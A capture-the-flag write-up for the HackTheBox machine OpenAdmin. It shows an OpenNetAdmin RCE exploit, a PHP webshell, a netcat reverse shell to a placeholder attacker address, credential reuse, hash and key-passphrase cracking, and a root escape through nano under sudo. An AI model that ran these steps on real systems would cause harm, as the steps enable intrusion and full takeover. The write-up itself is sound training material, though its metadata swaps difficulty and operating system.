# OpenAdmin Writeup - HackTheBox

> Exploit OpenNetAdmin RCE to gain initial access, pivot through internal web configs for credentials, then escalate via nano GTFOBins sudo misconfiguration.

- **URL:** https://hackindex.io/writeups/openadmin
- **Platform:** HackTheBox
- **Difficulty:** Linux
- **Operating system:** Easy
- **Machine:** https://app.hackthebox.com/machines/openadmin?sort_by=created_at&sort_type=desc
- **Tags:** webshell, rce, opennetadmin, privilege-escalation, sudo-misconfiguration, gtfobins, credential-reuse
- **Authors:** [Mohammad Meraj](https://hackindex.io/authors/mohammad-meraj.md)
- **Published:** 2026-09-11
- **Updated:** 2026-09-11

OpenAdmin is a Linux box. The chain runs: nmap finds SSH and Apache, manual browsing finds an OpenNetAdmin 18.1.1 instance with a public unauthenticated RCE, the ONA database config leaks a password reused for jimmy's SSH account, an internal web app on port 52846 has a hardcoded SHA-512 hash in its source, cracking it unlocks a page with an encrypted RSA private key, cracking the key passphrase with john gives SSH access as joanna, and a NOPASSWD sudo rule on nano allows a GTFOBins shell escape to root.

## Discovery

### Port scan

```bash
nmap -p22,80 $TARGET_IP -sCV -oA nmap/nmap
# PORT   STATE SERVICE VERSION
# 22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
# 80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
# |_http-title: Apache2 Ubuntu Default Page: It works
```

Apache default page. Browse manually to find `http://$TARGET_IP/ona/`: an OpenNetAdmin 18.1.1 instance.

## Foothold

### OpenNetAdmin 18.1.1 unauthenticated RCE

```bash
# Exploit-DB 47691
./exploit.sh http://$TARGET_IP/ona/
# $ whoami
# www-data
# $ pwd
# /opt/ona/www
```

Drop a webshell for a stable interface:

```bash
# Via exploit shell:
echo '<?php system($_REQUEST["cmd"]); ?>' > /opt/ona/www/rce.php
```

```bash
curl 'http://$TARGET_IP/ona/rce.php?cmd=rm+/tmp/f;mkfifo+/tmp/f;cat+/tmp/f|sh+-i+2>%261|nc+$ATTACKER_IP+$ATTACKER_PORT+>/tmp/f'
```

```bash
nc -lvnp $ATTACKER_PORT
# connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] 42374
# $ whoami
# www-data
```

Shell as `www-data`.

## Lateral Movement

### ONA database config password reuse

```bash
cat /opt/ona/www/local/config/database_settings.inc.php
# 'db_login' => 'ona_sys',
# 'db_passwd' => '$JIMMY_PASSWORD',
# 'db_database' => 'ona_default',
```

```bash
ssh jimmy@$TARGET_IP
# jimmy@$TARGET_IP's password:
# jimmy@openadmin:~$ whoami
# jimmy
```

Password reuse from the ONA database config to jimmy's SSH account.

## Internal Web App

```bash
ss -tulnp
# tcp  LISTEN  127.0.0.1:3306
# tcp  LISTEN  127.0.0.1:52846
# tcp  LISTEN  *:80
```

Port 52846 is an internal-only web app. Read its source directly before touching the login form:

```bash
cat /var/www/internal/index.php
# if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == '00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1')
```

SHA-512 hash hardcoded in the source. Crack it with CrackStation. Tunnel the port and log in to `main.php`, which returns a passphrase-protected RSA private key.

```bash
ssh -L 52846:127.0.0.1:52846 jimmy@$TARGET_IP
```

Browse to `http://localhost:52846/` and log in. Save the private key from `main.php`, then crack the passphrase:

```bash
ssh2john id_rsa > pass
john --wordlist=/usr/share/wordlists/rockyou.txt pass
# $KEY_PASSPHRASE      (rsa)
```

```bash
ssh -i id_rsa joanna@$TARGET_IP
# Enter passphrase for key 'id_rsa':
# joanna@openadmin:~$ whoami
# joanna
```

Shell as `joanna`.

## Privilege Escalation

### nano sudo escape

```bash
sudo -l
# User joanna may run the following commands on openadmin:
#     (ALL) NOPASSWD: /bin/nano /opt/priv
```

NOPASSWD sudo on nano with a fixed file argument. Nano exposes a command-execution feature via its read-file prompt. sudo controls the invocation, not what nano can do once running as root:

1. Run `sudo /bin/nano /opt/priv`
2. Press `Ctrl+R` then `Ctrl+X`
3. Type `reset; sh 1>&0 2>&0` and press Enter

```bash
sudo /bin/nano /opt/priv
# # (Ctrl+R, Ctrl+X, type: reset; sh 1>&0 2>&0, Enter)
# # id
# uid=0(root) gid=0(root) groups=0(root)
```

Related

## References

- [EDB-47691 OpenNetAdmin RCE](https://www.exploit-db.com/exploits/47691) - OpenNetAdmin 18.1.1 unauthenticated RCE exploit.
- [GTFOBins nano](https://gtfobins.github.io/gtfobins/nano/) - GTFOBins nano sudo escape.
- [CrackStation](https://crackstation.net/) - Online hash cracker used for the SHA-512 hash.